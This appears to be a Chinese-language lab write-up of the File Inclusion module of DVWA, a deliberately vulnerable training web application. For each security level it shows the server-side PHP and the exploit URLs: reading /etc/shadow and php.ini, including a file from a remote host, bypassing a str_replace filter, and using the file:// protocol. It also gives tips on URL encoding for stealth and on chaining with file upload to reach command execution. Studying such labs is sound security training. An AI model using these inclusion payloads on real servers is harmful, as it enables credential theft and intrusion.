zoukankan      html  css  js  c++  java
  • DVWA-1.9之File Inclusion

    low级

    服务器端核心代码:
    <php
    //Thepagewewishtodisplay
    $file=$_GET['page'];

    服务器端对page参数没有做任何的过滤跟检查

    漏洞利用

    本地文件包含

    构造url:http://192.168.153.130/dvwa/vulnerabilities/fi/page=/etc/shadow
    报错,说明不是linux系统。报错的同时,暴出了网站的根目录,于是可以构造url读取各种信息,如 php.ini文件
    注意:构造url时可以使用相对路径与绝对路径两种方法

    远程文件包含

    构造url,执行位于192.168.5.12服务器上的一个文件phpinfo.txt
    http://192.168.153.130/dvwa/vulnerabilities/fi/page=http://192.168.5.12/phpinfo.txt
    注意:为了增加隐蔽性,可以对url进行url编码

    Medium级

    服务器端核心代码:
    <php
    //Thepagewewishtodisplay
    $file=$_GET['page'];
    //Inputvalidation
    $file=str_replace(array("http://","https://"),"",$file);
    $file=str_replace(array("../","..""),"",$file);

    Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..”替换为空字符,即删除。

    漏洞利用

    str_replace函数是极其不安全的,因为可以使用双写、大小写绕过
    其余步骤如LOW级

    High级

    服务器端核心代码

    <php
    //Thepagewewishtodisplay
    $file=$_GET['page'];
    //Inputvalidation
    if(!fnmatch("file*",$file)&&$file!="include.php"){
    //Thisisn'tthepagewewant!
    echo"ERROR:Filenotfound!";
    exit;
    }

    High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件

    漏洞利用

    High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议

    构造URL

    http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

    注意:

    至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

    Impossible级

    以添加白名单的方式,限制了访问文件

    服务器端核心代码:
    <php
    //Thepagewewishtodisplay
    $file=$_GET['page'];
    //Onlyallowinclude.phporfile{1..3}.php
    if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
    //Thisisn'tthepagewewant!
    echo"ERROR:Filenotfound!";
    exit;
    }

  • 相关阅读:
    B2B商城网站前端开发
    Scss开发临时学习过程||webpack、npm、gulp配置
    移动开发注意几点
    拥有的50个CSS代码片段(上)
    css3基础、(弹性、响应式)布局注意点
    js封装、简单实例源码记录
    ES8
    es7与es8
    Iterator
    Math,Number
  • 原文地址:https://www.cnblogs.com/hacker-snail/p/13837608.html
Copyright © 2011-2022 走看看